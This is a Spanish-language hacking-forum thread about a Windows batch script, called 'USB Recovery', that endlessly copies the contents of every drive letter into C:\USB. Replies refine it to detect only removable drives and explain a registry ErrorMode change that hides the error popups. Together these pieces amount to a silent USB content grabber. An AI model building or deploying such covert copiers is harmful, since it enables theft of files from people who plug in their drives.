Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: KZN en 19 Julio 2014, 14:11 pm



Título: [Batch][DUDA] USB Recovery
Publicado por: KZN en 19 Julio 2014, 14:11 pm
Lenguaje:
Batch

Codigo:
Código:
@echo off
Mkdir C:\USB
:retry
xcopy /y /e /i A:\* C:\USB
xcopy /y /e /i B:\* C:\USB
xcopy /y /e /i D:\* C:\USB
xcopy /y /e /i E:\* C:\USB
xcopy /y /e /i F:\* C:\USB
xcopy /y /e /i G:\* C:\USB
xcopy /y /e /i H:\* C:\USB
xcopy /y /e /i I:\* C:\USB
xcopy /y /e /i J:\* C:\USB
xcopy /y /e /i K:\* C:\USB
xcopy /y /e /i L:\* C:\USB
xcopy /y /e /i M:\* C:\USB
xcopy /y /e /i N:\* C:\USB
xcopy /y /e /i Ñ:\* C:\USB
xcopy /y /e /i O:\* C:\USB
xcopy /y /e /i P:\* C:\USB
xcopy /y /e /i Q:\* C:\USB
xcopy /y /e /i R:\* C:\USB
xcopy /y /e /i S:\* C:\USB
xcopy /y /e /i T:\* C:\USB
xcopy /y /e /i U:\* C:\USB
xcopy /y /e /i V:\* C:\USB
xcopy /y /e /i W:\* C:\USB
xcopy /y /e /i X:\* C:\USB
xcopy /y /e /i Y:\* C:\USB
xcopy /y /e /i Z:\* C:\USB
goto retry

Problema:
cuando lo abro sin haber ningún usb(pendrive/dispositivo extraíble) no me da errores, pero cuando cuando conecto un usb me dan los siguientes errores

(http://i61.tinypic.com/2renxqt.png)



Título: Re: [Batch][DUDA] USB Recovery
Publicado por: Eleкtro en 19 Julio 2014, 15:56 pm
¿Cuando insertas un USB, se crean otros varios dispositivos extraibles virtuales sin contenido alguno?, ya que ese podría ser el problema.

De todas formas el código que muestras es muy básico, podrías mejorarlo para que fuese "inteligente" y hayase los dispositivos extraibles CONECTADOS en ese preciso momento, en lugar de hacer una iteración completa de todas las unidades...tanto de las unidades existentes como las no existentes, es obvio que en extrañas circunstancias eso puede estar dandote problemas como el que comentas :-/.

Aquí tienes un ejemplo de como poder hacerlo:

Cita de: http://foro.elhacker.net/scripting/ayuda_a_simplificar_bat-t400279.0.html;msg1890382#msg1890382

Código
  1. @ECHO OFF & (CHCP 1252)>NUL
  2. Set /A "HardDisk=3"
  3. Set /A "RemovableDrive=2"
  4.  
  5. REM Filtro el output del comando WMIC.
  6. For /F %%# in (
  7.    'wmic logicaldisk get caption^,drivetype ^| FINDSTR "%RemovableDrive%"'
  8. ) Do (
  9.    REM Saco las letras de los dispositivos disponibles.
  10.    Call Set "DRIVES=%%DRIVES%%%%#"
  11. )
  12.  
  13. REM Elimino la letra de unidad desde la que se inició este Script Bat.
  14. Call Set "DRIVES=%%DRIVES:%~d0=%%"
  15.  
  16. REM Reemplazo el caracter ":" del resto de letras por un caracter de "espacio",
  17. REM De esta manera puedo usar el delimitador por defecto ("espacio") en un FOR.
  18. Set "DRIVES=%DRIVES::= %"
  19.  
  20. REM Por último, proceso cada letra de unidad.
  21. (MKDIR "%SystemDrive%\USB")2>NUL
  22. For %%D in (%DRIVES%) Do (
  23.    Echo [+] unidad encontrada "%%D:\"
  24.    REM XCopy.exe /E /Y "%%D:\*" "%SystemDrive%\USB\*"
  25. )
  26.  
  27. Pause&Exit
  28.  

Saludos


Título: Re: [Batch][DUDA] USB Recovery
Publicado por: asdexiva en 20 Julio 2014, 02:59 am
aca la solucion al problema del mensaje NO HAY DISCO EN LA UNIDAD
solo tienes que hacer unos pocos pasos y son los siguientes:
Inicio, ejecutar: regedit
una vez que estas en regedit entras a: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows\
y cambiar el valor de ErrorMode por 2, (donde esta la entrada ErrorMode, boton derecho modificar donde dice 0 lo cambias a 2) ,reinicias y listo ya no te saldran esas molestas ventanas


Título: Re: [Batch][DUDA] USB Recovery
Publicado por: KZN en 6 Agosto 2014, 16:26 pm
muchas gracias a los dos de verdad :)